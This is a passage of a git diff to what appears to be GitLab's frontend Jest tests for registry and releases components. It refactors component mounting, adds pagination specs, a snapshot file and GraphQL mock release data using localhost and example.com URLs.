-import RealListItem from '~/registry/explorer/components/list_item.vue';
+import RealListItem from '~/vue_shared/components/registry/list_item.vue';
export const GlModal = {
template: '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-ok"></slot></div>',
diff --git a/spec/frontend/registry/shared/components/details_row_spec.js b/spec/frontend/registry/shared/components/details_row_spec.js
deleted file mode 100644
index 5ae4e0ab37f..00000000000
--- a/spec/frontend/registry/shared/components/details_row_spec.js
+++ /dev/null
@@ -1,71 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlIcon } from '@gitlab/ui';
-import component from '~/registry/shared/components/details_row.vue';
-
-describe('DetailsRow', () => {
- let wrapper;
-
- const findIcon = () => wrapper.find(GlIcon);
- const findDefaultSlot = () => wrapper.find('[data-testid="default-slot"]');
-
- const mountComponent = props => {
- wrapper = shallowMount(component, {
- propsData: {
- icon: 'clock',
- ...props,
- },
- slots: {
- default: '<div data-testid="default-slot"></div>',
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('has a default slot', () => {
- mountComponent();
- expect(findDefaultSlot().exists()).toBe(true);
- });
-
- describe('icon prop', () => {
- it('contains an icon', () => {
- mountComponent();
- expect(findIcon().exists()).toBe(true);
- });
-
- it('icon has the correct props', () => {
- mountComponent();
- expect(findIcon().props()).toMatchObject({
- name: 'clock',
- });
- });
- });
-
- describe('padding prop', () => {
- it('padding has a default', () => {
- mountComponent();
- expect(wrapper.classes('gl-py-2')).toBe(true);
- });
-
- it('is reflected in the template', () => {
- mountComponent({ padding: 'gl-py-4' });
- expect(wrapper.classes('gl-py-4')).toBe(true);
- });
- });
-
- describe('dashed prop', () => {
- const borderClasses = ['gl-border-b-solid', 'gl-border-gray-100', 'gl-border-b-1'];
- it('by default component has no border', () => {
- mountComponent();
- expect(wrapper.classes).not.toEqual(expect.arrayContaining(borderClasses));
- });
-
- it('has a border when dashed is true', () => {
- mountComponent({ dashed: true });
- expect(wrapper.classes()).toEqual(expect.arrayContaining(borderClasses));
- });
- });
-});
diff --git a/spec/frontend/registry/shared/mocks.js b/spec/frontend/registry/shared/mocks.js
index e33d06e7499..fdef38b6f10 100644
--- a/spec/frontend/registry/shared/mocks.js
+++ b/spec/frontend/registry/shared/mocks.js
@@ -1,4 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const $toast = {
show: jest.fn(),
};
diff --git a/spec/frontend/releases/__snapshots__/util_spec.js.snap b/spec/frontend/releases/__snapshots__/util_spec.js.snap
new file mode 100644
index 00000000000..f56e296d106
--- /dev/null
+++ b/spec/frontend/releases/__snapshots__/util_spec.js.snap
@@ -0,0 +1,113 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`releases/util.js convertGraphQLResponse matches snapshot 1`] = `
+Object {
+ "data": Array [
+ Object {
+ "_links": Object {
+ "editUrl": "http://0.0.0.0:3000/root/release-test/-/releases/v5.10/edit",
+ "issuesUrl": null,
+ "mergeRequestsUrl": null,
+ "self": "http://0.0.0.0:3000/root/release-test/-/releases/v5.10",
+ "selfUrl": "http://0.0.0.0:3000/root/release-test/-/releases/v5.10",
+ },
+ "assets": Object {
+ "count": 7,
+ "links": Array [
+ Object {
+ "directAssetUrl": "http://0.0.0.0:3000/root/release-test/-/releases/v5.32/permanent/path/to/runbook",
+ "external": true,
+ "id": "gid://gitlab/Releases::Link/69",
+ "linkType": "other",
+ "name": "An example link",
+ "url": "https://example.com/link",
+ },
+ Object {
+ "directAssetUrl": "https://example.com/package",
+ "external": true,
+ "id": "gid://gitlab/Releases::Link/68",
+ "linkType": "package",
+ "name": "An example package link",
+ "url": "https://example.com/package",
+ },
+ Object {
+ "directAssetUrl": "https://example.com/image",
+ "external": true,
+ "id": "gid://gitlab/Releases::Link/67",
+ "linkType": "image",
+ "name": "An example image",
+ "url": "https://example.com/image",
+ },
+ ],
+ "sources": Array [
+ Object {
+ "format": "zip",
+ "url": "http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.zip",
+ },
+ Object {
+ "format": "tar.gz",
+ "url": "http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar.gz",
+ },
+ Object {
+ "format": "tar.bz2",
+ "url": "http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar.bz2",
+ },
+ Object {
+ "format": "tar",
+ "url": "http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar",
+ },
+ ],
+ },
+ "author": Object {
+ "avatarUrl": "/uploads/-/system/user/avatar/1/avatar.png",
+ "username": "root",
+ "webUrl": "http://0.0.0.0:3000/root",
+ },
+ "commit": Object {
+ "shortId": "92e7ea2e",
+ "title": "Testing a change.",
+ },
+ "commitPath": "http://0.0.0.0:3000/root/release-test/-/commit/92e7ea2ee4496fe0d00ff69830ba0564d3d1e5a7",
+ "descriptionHtml": "<p data-sourcepos=\\"1:1-1:24\\" dir=\\"auto\\">This is version <strong>1.0</strong>!</p>",
+ "evidences": Array [
+ Object {
+ "collectedAt": "2020-08-21T20:15:19Z",
+ "filepath": "http://0.0.0.0:3000/root/release-test/-/releases/v5.10/evidences/34.json",
+ "sha": "22bde8e8b93d870a29ddc339287a1fbb598f45d1396d",
+ },
+ ],
+ "milestones": Array [
+ Object {
+ "description": "",
+ "id": "gid://gitlab/Milestone/60",
+ "issueStats": Object {
+ "closed": 0,
+ "total": 0,
+ },
+ "stats": undefined,
+ "title": "12.4",
+ "webPath": undefined,
+ "webUrl": "/root/release-test/-/milestones/2",
+ },
+ Object {
+ "description": "Milestone 12.3",
+ "id": "gid://gitlab/Milestone/59",
+ "issueStats": Object {
+ "closed": 1,
+ "total": 2,
+ },
+ "stats": undefined,
+ "title": "12.3",
+ "webPath": undefined,
+ "webUrl": "/root/release-test/-/milestones/1",
+ },
+ ],
+ "name": "Release 1.0",
+ "releasedAt": "2020-08-21T20:15:18Z",
+ "tagName": "v5.10",
+ "tagPath": "/root/release-test/-/tags/v5.10",
+ "upcomingRelease": false,
+ },
+ ],
+}
+`;
diff --git a/spec/frontend/releases/components/app_index_spec.js b/spec/frontend/releases/components/app_index_spec.js
index 8eafe07cb2f..bcb87509cc3 100644
--- a/spec/frontend/releases/components/app_index_spec.js
+++ b/spec/frontend/releases/components/app_index_spec.js
@@ -1,12 +1,11 @@
import { range as rge } from 'lodash';
-import Vue from 'vue';
-import { mountComponentWithStore } from 'helpers/vue_mount_component_helper';
+import Vuex from 'vuex';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
import waitForPromises from 'helpers/wait_for_promises';
-import app from '~/releases/components/app_index.vue';
+import ReleasesApp from '~/releases/components/app_index.vue';
import createStore from '~/releases/stores';
-import listModule from '~/releases/stores/modules/list';
+import createListModule from '~/releases/stores/modules/list';
import api from '~/api';
-import { resetStore } from '../stores/modules/list/helpers';
import {
pageInfoHeadersWithoutPagination,
pageInfoHeadersWithPagination,
@@ -14,30 +13,67 @@ import {
releases,
} from '../mock_data';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
describe('Releases App ', () => {
- const Component = Vue.extend(app);
- let store;
- let vm;
- let releasesPagination;
+ let wrapper;
+ let fetchReleaseSpy;
+
+ const releasesPagination = rge(21).map(index => ({
+ ...convertObjectPropsToCamelCase(release, { deep: true }),
+ tagName: `${index}.00`,
+ }));
- const props = {
+ const defaultInitialState = {
projectId: 'gitlab-ce',
+ projectPath: 'gitlab-org/gitlab-ce',
documentationPath: 'help/releases',
illustrationPath: 'illustration/path',
};
- beforeEach(() => {
- store = createStore({ modules: { list: listModule } });
- releasesPagination = rge(21).map(index => ({
- ...convertObjectPropsToCamelCase(release, { deep: true }),
- tagName: `${index}.00`,
- }));
- });
+ const createComponent = (stateUpdates = {}) => {
+ const listModule = createListModule({
+ ...defaultInitialState,
+ ...stateUpdates,
+ });
+
+ fetchReleaseSpy = jest.spyOn(listModule.actions, 'fetchReleases');
+
+ const store = createStore({
+ modules: { list: listModule },
+ featureFlags: {
+ graphqlReleaseData: true,
+ graphqlReleasesPage: false,
+ graphqlMilestoneStats: true,
+ },
+ });
+
+ wrapper = shallowMount(ReleasesApp, {
+ store,
+ localVue,
+ });
+ };
afterEach(() => {
- resetStore(store);
- vm.$destroy();
+ wrapper.destroy();
+ });
+
+ describe('on startup', () => {
+ beforeEach(() => {
+ jest
+ .spyOn(api, 'releases')
+ .mockResolvedValue({ data: releases, headers: pageInfoHeadersWithoutPagination });
+
+ createComponent();
+ });
+
+ it('calls fetchRelease with the page parameter', () => {
+ expect(fetchReleaseSpy).toHaveBeenCalledTimes(1);
+ expect(fetchReleaseSpy).toHaveBeenCalledWith(expect.anything(), { page: null });
+ });
});
describe('while loading', () => {
@@ -47,16 +83,15 @@ describe('Releases App ', () => {
// Need to defer the return value here to the next stack,
// otherwise the loading state disappears before our test even starts.
.mockImplementation(() => waitForPromises().then(() => ({ data: [], headers: {} })));
- vm = mountComponentWithStore(Component, { props, store });
+
+ createComponent();
});
it('renders loading icon', () => {
- expect(vm.$el.querySelector('.js-loading')).not.toBeNull();
- expect(vm.$el.querySelector('.js-empty-state')).toBeNull();
- expect(vm.$el.querySelector('.js-success-state')).toBeNull();
- expect(vm.$el.querySelector('.gl-pagination')).toBeNull();
-
- return waitForPromises();
+ expect(wrapper.contains('.js-loading')).toBe(true);
+ expect(wrapper.contains('.js-empty-state')).toBe(false);
+ expect(wrapper.contains('.js-success-state')).toBe(false);
+ expect(wrapper.contains(TablePagination)).toBe(false);
});
});
@@ -65,14 +100,15 @@ describe('Releases App ', () => {
jest
.spyOn(api, 'releases')
.mockResolvedValue({ data: releases, headers: pageInfoHeadersWithoutPagination });
- vm = mountComponentWithStore(Component, { props, store });
+
+ createComponent();
});
it('renders success state', () => {
- expect(vm.$el.querySelector('.js-loading')).toBeNull();
- expect(vm.$el.querySelector('.js-empty-state')).toBeNull();
- expect(vm.$el.querySelector('.js-success-state')).not.toBeNull();
- expect(vm.$el.querySelector('.gl-pagination')).toBeNull();
+ expect(wrapper.contains('.js-loading')).toBe(false);
+ expect(wrapper.contains('.js-empty-state')).toBe(false);
+ expect(wrapper.contains('.js-success-state')).toBe(true);
+ expect(wrapper.contains(TablePagination)).toBe(true);
});
});
@@ -81,69 +117,60 @@ describe('Releases App ', () => {
jest
.spyOn(api, 'releases')
.mockResolvedValue({ data: releasesPagination, headers: pageInfoHeadersWithPagination });
- vm = mountComponentWithStore(Component, { props, store });
+
+ createComponent();
});
it('renders success state', () => {
- expect(vm.$el.querySelector('.js-loading')).toBeNull();
- expect(vm.$el.querySelector('.js-empty-state')).toBeNull();
- expect(vm.$el.querySelector('.js-success-state')).not.toBeNull();
- expect(vm.$el.querySelector('.gl-pagination')).not.toBeNull();
+ expect(wrapper.contains('.js-loading')).toBe(false);
+ expect(wrapper.contains('.js-empty-state')).toBe(false);
+ expect(wrapper.contains('.js-success-state')).toBe(true);
+ expect(wrapper.contains(TablePagination)).toBe(true);
});
});
describe('with empty request', () => {
beforeEach(() => {
jest.spyOn(api, 'releases').mockResolvedValue({ data: [], headers: {} });
- vm = mountComponentWithStore(Component, { props, store });
+
+ createComponent();
});
it('renders empty state', () => {
- expect(vm.$el.querySelector('.js-loading')).toBeNull();
- expect(vm.$el.querySelector('.js-empty-state')).not.toBeNull();
- expect(vm.$el.querySelector('.js-success-state')).toBeNull();
- expect(vm.$el.querySelector('.gl-pagination')).toBeNull();
+ expect(wrapper.contains('.js-loading')).toBe(false);
+ expect(wrapper.contains('.js-empty-state')).toBe(true);
+ expect(wrapper.contains('.js-success-state')).toBe(false);
});
});
describe('"New release" button', () => {
- const findNewReleaseButton = () => vm.$el.querySelector('.js-new-release-btn');
+ const findNewReleaseButton = () => wrapper.find('.js-new-release-btn');
beforeEach(() => {
jest.spyOn(api, 'releases').mockResolvedValue({ data: [], headers: {} });
});
- const factory = additionalProps => {
- vm = mountComponentWithStore(Component, {
- props: {
- ...props,
- ...additionalProps,
- },
- store,
- });
- };
-
describe('when the user is allowed to create a new Release', () => {
const newReleasePath = 'path/to/new/release';
beforeEach(() => {
- factory({ newReleasePath });
+ createComponent({ ...defaultInitialState, newReleasePath });
});
it('renders the "New release" button', () => {
- expect(findNewReleaseButton()).not.toBeNull();
+ expect(findNewReleaseButton().exists()).toBe(true);
});
it('renders the "New release" button with the correct href', () => {
- expect(findNewReleaseButton().getAttribute('href')).toBe(newReleasePath);
+ expect(findNewReleaseButton().attributes('href')).toBe(newReleasePath);
});
});
describe('when the user is not allowed to create a new Release', () => {
- beforeEach(() => factory());
+ beforeEach(() => createComponent());
it('does not render the "New release" button', () => {
- expect(findNewReleaseButton()).toBeNull();
+ expect(findNewReleaseButton().exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/releases/components/app_show_spec.js b/spec/frontend/releases/components/app_show_spec.js
index e757fe98661..502a1053663 100644
--- a/spec/frontend/releases/components/app_show_spec.js
+++ b/spec/frontend/releases/components/app_show_spec.js
@@ -1,6 +1,6 @@
import Vuex from 'vuex';
import { shallowMount } from '@vue/test-utils';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import ReleaseShowApp from '~/releases/components/app_show.vue';
import { release as originalRelease } from '../mock_data';
import ReleaseBlock from '~/releases/components/release_block.vue';
diff --git a/spec/frontend/releases/components/asset_links_form_spec.js b/spec/frontend/releases/components/asset_links_form_spec.js
index 727d593d851..582c0b32716 100644
--- a/spec/frontend/releases/components/asset_links_form_spec.js
+++ b/spec/frontend/releases/components/asset_links_form_spec.js
@@ -115,14 +115,10 @@ describe('Release edit component', () => {
const expectStoreMethodToBeCalled = () => {
expect(actions.updateAssetLinkUrl).toHaveBeenCalledTimes(1);
- expect(actions.updateAssetLinkUrl).toHaveBeenCalledWith(
- expect.anything(),
- {
- linkIdToUpdate,
- newUrl,
- },
- undefined,
- );
+ expect(actions.updateAssetLinkUrl).toHaveBeenCalledWith(expect.anything(), {
+ linkIdToUpdate,
+ newUrl,
+ });
};
it('calls the "updateAssetLinkUrl" store method when text is entered into the "URL" input field', () => {
@@ -177,14 +173,10 @@ describe('Release edit component', () => {
const expectStoreMethodToBeCalled = () => {
expect(actions.updateAssetLinkName).toHaveBeenCalledTimes(1);
- expect(actions.updateAssetLinkName).toHaveBeenCalledWith(
- expect.anything(),
- {
- linkIdToUpdate,
- newName,
- },
- undefined,
- );
+ expect(actions.updateAssetLinkName).toHaveBeenCalledWith(expect.anything(), {
+ linkIdToUpdate,
+ newName,
+ });
};
it('calls the "updateAssetLinkName" store method when text is entered into the "Link title" input field', () => {
@@ -225,14 +217,10 @@ describe('Release edit component', () => {
wrapper.find({ ref: 'typeSelect' }).vm.$emit('change', newType);
expect(actions.updateAssetLinkType).toHaveBeenCalledTimes(1);
- expect(actions.updateAssetLinkType).toHaveBeenCalledWith(
- expect.anything(),
- {
- linkIdToUpdate,
- newType,
- },
- undefined,
- );
+ expect(actions.updateAssetLinkType).toHaveBeenCalledWith(expect.anything(), {
+ linkIdToUpdate,
+ newType,
+ });
});
it('selects the default asset type if no type was provided by the backend', () => {
diff --git a/spec/frontend/releases/components/release_block_assets_spec.js b/spec/frontend/releases/components/release_block_assets_spec.js
index 5e84290716c..3453ecbf8ab 100644
--- a/spec/frontend/releases/components/release_block_assets_spec.js
+++ b/spec/frontend/releases/components/release_block_assets_spec.js
@@ -128,7 +128,7 @@ describe('Release block assets', () => {
describe('external vs internal links', () => {
const containsExternalSourceIndicator = () =>
- wrapper.contains('[data-testid="external-link-indicator"]');
+ wrapper.find('[data-testid="external-link-indicator"]').exists();
describe('when a link is external', () => {
beforeEach(() => {
diff --git a/spec/frontend/releases/components/release_block_footer_spec.js b/spec/frontend/releases/components/release_block_footer_spec.js
index c066bfbf020..bde01cc0e00 100644
--- a/spec/frontend/releases/components/release_block_footer_spec.js
+++ b/spec/frontend/releases/components/release_block_footer_spec.js
@@ -1,9 +1,8 @@
import { mount } from '@vue/test-utils';
-import { GlLink } from '@gitlab/ui';
+import { GlLink, GlIcon } from '@gitlab/ui';
import { trimText } from 'helpers/text_helper';
import { cloneDeep } from 'lodash';
import ReleaseBlockFooter from '~/releases/components/release_block_footer.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import { release as originalRelease } from '../mock_data';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
@@ -56,7 +55,7 @@ describe('Release block footer', () => {
beforeEach(() => factory());
it('renders the commit icon', () => {
- const commitIcon = commitInfoSection().find(Icon);
+ const commitIcon = commitInfoSection().find(GlIcon);
expect(commitIcon.exists()).toBe(true);
expect(commitIcon.props('name')).toBe('commit');
@@ -71,7 +70,7 @@ describe('Release block footer', () => {
});
it('renders the tag icon', () => {
- const commitIcon = tagInfoSection().find(Icon);
+ const commitIcon = tagInfoSection().find(GlIcon);
expect(commitIcon.exists()).toBe(true);
expect(commitIcon.props('name')).toBe('tag');
diff --git a/spec/frontend/releases/components/release_block_spec.js b/spec/frontend/releases/components/release_block_spec.js
index 19119d99f3c..a7f1388664b 100644
--- a/spec/frontend/releases/components/release_block_spec.js
+++ b/spec/frontend/releases/components/release_block_spec.js
@@ -1,11 +1,11 @@
import $ from 'jquery';
import { mount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import EvidenceBlock from '~/releases/components/evidence_block.vue';
import ReleaseBlock from '~/releases/components/release_block.vue';
import ReleaseBlockFooter from '~/releases/components/release_block_footer.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import { release as originalRelease } from '../mock_data';
-import Icon from '~/vue_shared/components/icon.vue';
import * as commonUtils from '~/lib/utils/common_utils';
import { BACK_URL_PARAM } from '~/releases/constants';
import * as urlUtility from '~/lib/utils/url_utility';
@@ -247,7 +247,7 @@ describe('Release block', () => {
it('renders the milestone icon', () => {
expect(
milestoneListLabel()
- .find(Icon)
+ .find(GlIcon)
.exists(),
).toBe(true);
});
diff --git a/spec/frontend/releases/components/releases_pagination_graphql_spec.js b/spec/frontend/releases/components/releases_pagination_graphql_spec.js
new file mode 100644
index 00000000000..b01a28eb6c3
--- /dev/null
+++ b/spec/frontend/releases/components/releases_pagination_graphql_spec.js
@@ -0,0 +1,175 @@
+import Vuex from 'vuex';
+import { mount, createLocalVue } from '@vue/test-utils';
+import createStore from '~/releases/stores';
+import createListModule from '~/releases/stores/modules/list';
+import ReleasesPaginationGraphql from '~/releases/components/releases_pagination_graphql.vue';
+import { historyPushState } from '~/lib/utils/common_utils';
+
+jest.mock('~/lib/utils/common_utils', () => ({
+ ...jest.requireActual('~/lib/utils/common_utils'),
+ historyPushState: jest.fn(),
+}));
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('~/releases/components/releases_pagination_graphql.vue', () => {
+ let wrapper;
+ let listModule;
+
+ const cursors = {
+ startCursor: 'startCursor',
+ endCursor: 'endCursor',
+ };
+
+ const projectPath = 'my/project';
+
+ const createComponent = pageInfo => {
+ listModule = createListModule({ projectPath });
+
+ listModule.state.graphQlPageInfo = pageInfo;
+
+ listModule.actions.fetchReleasesGraphQl = jest.fn();
+
+ wrapper = mount(ReleasesPaginationGraphql, {
+ store: createStore({
+ modules: {
+ list: listModule,
+ },
+ featureFlags: {},
+ }),
+ localVue,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findPrevButton = () => wrapper.find('[data-testid="prevButton"]');
+ const findNextButton = () => wrapper.find('[data-testid="nextButton"]');
+
+ const expectDisabledPrev = () => {
+ expect(findPrevButton().attributes().disabled).toBe('disabled');
+ };
+ const expectEnabledPrev = () => {
+ expect(findPrevButton().attributes().disabled).toBe(undefined);
+ };
+ const expectDisabledNext = () => {
+ expect(findNextButton().attributes().disabled).toBe('disabled');
+ };
+ const expectEnabledNext = () => {
+ expect(findNextButton().attributes().disabled).toBe(undefined);
+ };
+
+ describe('when there is only one page of results', () => {
+ beforeEach(() => {
+ createComponent({
+ hasPreviousPage: false,
+ hasNextPage: false,
+ });
+ });
+
+ it('does not render anything', () => {
+ expect(wrapper.isEmpty()).toBe(true);
+ });
+ });
+
+ describe('when there is a next page, but not a previous page', () => {
+ beforeEach(() => {
+ createComponent({
+ hasPreviousPage: false,
+ hasNextPage: true,
+ });
+ });
+
+ it('renders a disabled "Prev" button', () => {
+ expectDisabledPrev();
+ });
+
+ it('renders an enabled "Next" button', () => {
+ expectEnabledNext();
+ });
+ });
+
+ describe('when there is a previous page, but not a next page', () => {
+ beforeEach(() => {
+ createComponent({
+ hasPreviousPage: true,
+ hasNextPage: false,
+ });
+ });
+
+ it('renders a enabled "Prev" button', () => {
+ expectEnabledPrev();
+ });
+
+ it('renders an disabled "Next" button', () => {
+ expectDisabledNext();
+ });
+ });
+
+ describe('when there is both a previous page and a next page', () => {
+ beforeEach(() => {
+ createComponent({
+ hasPreviousPage: true,
+ hasNextPage: true,
+ });
+ });
+
+ it('renders a enabled "Prev" button', () => {
+ expectEnabledPrev();
+ });
+
+ it('renders an enabled "Next" button', () => {
+ expectEnabledNext();
+ });
+ });
+
+ describe('button behavior', () => {
+ beforeEach(() => {
+ createComponent({
+ hasPreviousPage: true,
+ hasNextPage: true,
+ ...cursors,
+ });
+ });
+
+ describe('next button behavior', () => {
+ beforeEach(() => {
+ findNextButton().trigger('click');
+ });
+
+ it('calls fetchReleasesGraphQl with the correct after cursor', () => {
+ expect(listModule.actions.fetchReleasesGraphQl.mock.calls).toEqual([
+ [expect.anything(), { after: cursors.endCursor }],
+ ]);
+ });
+
+ it('calls historyPushState with the new URL', () => {
+ expect(historyPushState.mock.calls).toEqual([
+ [expect.stringContaining(`?after=${cursors.endCursor}`)],
+ ]);
+ });
+ });
+
+ describe('previous button behavior', () => {
+ beforeEach(() => {
+ findPrevButton().trigger('click');
+ });
+
+ it('calls fetchReleasesGraphQl with the correct before cursor', () => {
+ expect(listModule.actions.fetchReleasesGraphQl.mock.calls).toEqual([
+ [expect.anything(), { before: cursors.startCursor }],
+ ]);
+ });
+
+ it('calls historyPushState with the new URL', () => {
+ expect(historyPushState.mock.calls).toEqual([
+ [expect.stringContaining(`?before=${cursors.startCursor}`)],
+ ]);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/releases/components/releases_pagination_rest_spec.js b/spec/frontend/releases/components/releases_pagination_rest_spec.js
new file mode 100644
index 00000000000..4fd3e085fc9
--- /dev/null
+++ b/spec/frontend/releases/components/releases_pagination_rest_spec.js
@@ -0,0 +1,72 @@
+import Vuex from 'vuex';
+import { mount, createLocalVue } from '@vue/test-utils';
+import { GlPagination } from '@gitlab/ui';
+import ReleasesPaginationRest from '~/releases/components/releases_pagination_rest.vue';
+import createStore from '~/releases/stores';
+import createListModule from '~/releases/stores/modules/list';
+import * as commonUtils from '~/lib/utils/common_utils';
+
+commonUtils.historyPushState = jest.fn();
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('~/releases/components/releases_pagination_rest.vue', () => {
+ let wrapper;
+ let listModule;
+
+ const projectId = 19;
+
+ const createComponent = pageInfo => {
+ listModule = createListModule({ projectId });
+
+ listModule.state.pageInfo = pageInfo;
+
+ listModule.actions.fetchReleasesRest = jest.fn();
+
+ wrapper = mount(ReleasesPaginationRest, {
+ store: createStore({
+ modules: {
+ list: listModule,
+ },
+ featureFlags: {},
+ }),
+ localVue,
+ });
+ };
+
+ const findGlPagination = () => wrapper.find(GlPagination);
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when a page number is clicked', () => {
+ const newPage = 2;
+
+ beforeEach(() => {
+ createComponent({
+ perPage: 20,
+ page: 1,
+ total: 40,
+ totalPages: 2,
+ nextPage: 2,
+ });
+
+ findGlPagination().vm.$emit('input', newPage);
+ });
+
+ it('calls fetchReleasesRest with the correct page', () => {
+ expect(listModule.actions.fetchReleasesRest.mock.calls).toEqual([
+ [expect.anything(), { page: newPage }],
+ ]);
+ });
+
+ it('calls historyPushState with the new URL', () => {
+ expect(commonUtils.historyPushState.mock.calls).toEqual([
+ [expect.stringContaining(`?page=${newPage}`)],
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/releases/components/releases_pagination_spec.js b/spec/frontend/releases/components/releases_pagination_spec.js
new file mode 100644
index 00000000000..2466fb53a68
--- /dev/null
+++ b/spec/frontend/releases/components/releases_pagination_spec.js
@@ -0,0 +1,52 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import ReleasesPagination from '~/releases/components/releases_pagination.vue';
+import ReleasesPaginationGraphql from '~/releases/components/releases_pagination_graphql.vue';
+import ReleasesPaginationRest from '~/releases/components/releases_pagination_rest.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('~/releases/components/releases_pagination.vue', () => {
+ let wrapper;
+
+ const createComponent = useGraphQLEndpoint => {
+ const store = new Vuex.Store({
+ getters: {
+ useGraphQLEndpoint: () => useGraphQLEndpoint,
+ },
+ });
+
+ wrapper = shallowMount(ReleasesPagination, { store, localVue });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findRestPagination = () => wrapper.find(ReleasesPaginationRest);
+ const findGraphQlPagination = () => wrapper.find(ReleasesPaginationGraphql);
+
+ describe('when one of necessary feature flags is disabled', () => {
+ beforeEach(() => {
+ createComponent(false);
+ });
+
+ it('renders the REST pagination component', () => {
+ expect(findRestPagination().exists()).toBe(true);
+ expect(findGraphQlPagination().exists()).toBe(false);
+ });
+ });
+
+ describe('when all the necessary feature flags are enabled', () => {
+ beforeEach(() => {
+ createComponent(true);
+ });
+
+ it('renders the GraphQL pagination component', () => {
+ expect(findGraphQlPagination().exists()).toBe(true);
+ expect(findRestPagination().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/releases/components/tag_field_exsting_spec.js b/spec/frontend/releases/components/tag_field_exsting_spec.js
index 0a04f68bd67..70a195556df 100644
--- a/spec/frontend/releases/components/tag_field_exsting_spec.js
+++ b/spec/frontend/releases/components/tag_field_exsting_spec.js
@@ -1,5 +1,6 @@
+import Vuex from 'vuex';
import { GlFormInput } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
+import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
import TagFieldExisting from '~/releases/components/tag_field_existing.vue';
import createStore from '~/releases/stores';
import createDetailModule from '~/releases/stores/modules/detail';
@@ -7,6 +8,9 @@ import createDetailModule from '~/releases/stores/modules/detail';
const TEST_TAG_NAME = 'test-tag-name';
const TEST_DOCS_PATH = '/help/test/docs/path';
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
describe('releases/components/tag_field_existing', () => {
let store;
let wrapper;
@@ -14,6 +18,7 @@ describe('releases/components/tag_field_existing', () => {
const createComponent = (mountFn = shallowMount) => {
wrapper = mountFn(TagFieldExisting, {
store,
+ localVue,
});
};
diff --git a/spec/frontend/releases/mock_data.js b/spec/frontend/releases/mock_data.js
index b97385154bd..58cd69a2f6a 100644
--- a/spec/frontend/releases/mock_data.js
+++ b/spec/frontend/releases/mock_data.js
@@ -222,3 +222,131 @@ export const release2 = {
};
export const releases = [release, release2];
+
+export const graphqlReleasesResponse = {
+ data: {
+ project: {
+ releases: {
+ count: 39,
+ nodes: [
+ {
+ name: 'Release 1.0',
+ tagName: 'v5.10',
+ tagPath: '/root/release-test/-/tags/v5.10',
+ descriptionHtml:
+ '<p data-sourcepos="1:1-1:24" dir="auto">This is version <strong>1.0</strong>!</p>',
+ releasedAt: '2020-08-21T20:15:18Z',
+ upcomingRelease: false,
+ assets: {
+ count: 7,
+ sources: {
+ nodes: [
+ {
+ format: 'zip',
+ url:
+ 'http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.zip',
+ },
+ {
+ format: 'tar.gz',
+ url:
+ 'http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar.gz',
+ },
+ {
+ format: 'tar.bz2',
+ url:
+ 'http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar.bz2',
+ },
+ {
+ format: 'tar',
+ url:
+ 'http://0.0.0.0:3000/root/release-test/-/archive/v5.10/release-test-v5.10.tar',
+ },
+ ],
+ },
+ links: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Releases::Link/69',
+ name: 'An example link',
+ url: 'https://example.com/link',
+ directAssetUrl:
+ 'http://0.0.0.0:3000/root/release-test/-/releases/v5.32/permanent/path/to/runbook',
+ linkType: 'OTHER',
+ external: true,
+ },
+ {
+ id: 'gid://gitlab/Releases::Link/68',
+ name: 'An example package link',
+ url: 'https://example.com/package',
+ directAssetUrl: 'https://example.com/package',
+ linkType: 'PACKAGE',
+ external: true,
+ },
+ {
+ id: 'gid://gitlab/Releases::Link/67',
+ name: 'An example image',
+ url: 'https://example.com/image',
+ directAssetUrl: 'https://example.com/image',
+ linkType: 'IMAGE',
+ external: true,
+ },
+ ],
+ },
+ },
+ evidences: {
+ nodes: [
+ {
+ filepath:
+ 'http://0.0.0.0:3000/root/release-test/-/releases/v5.10/evidences/34.json',
+ collectedAt: '2020-08-21T20:15:19Z',
+ sha: '22bde8e8b93d870a29ddc339287a1fbb598f45d1396d',
+ },
+ ],
+ },
+ links: {
+ editUrl: 'http://0.0.0.0:3000/root/release-test/-/releases/v5.10/edit',
+ issuesUrl: null,
+ mergeRequestsUrl: null,
+ selfUrl: 'http://0.0.0.0:3000/root/release-test/-/releases/v5.10',
+ },
+ commit: {
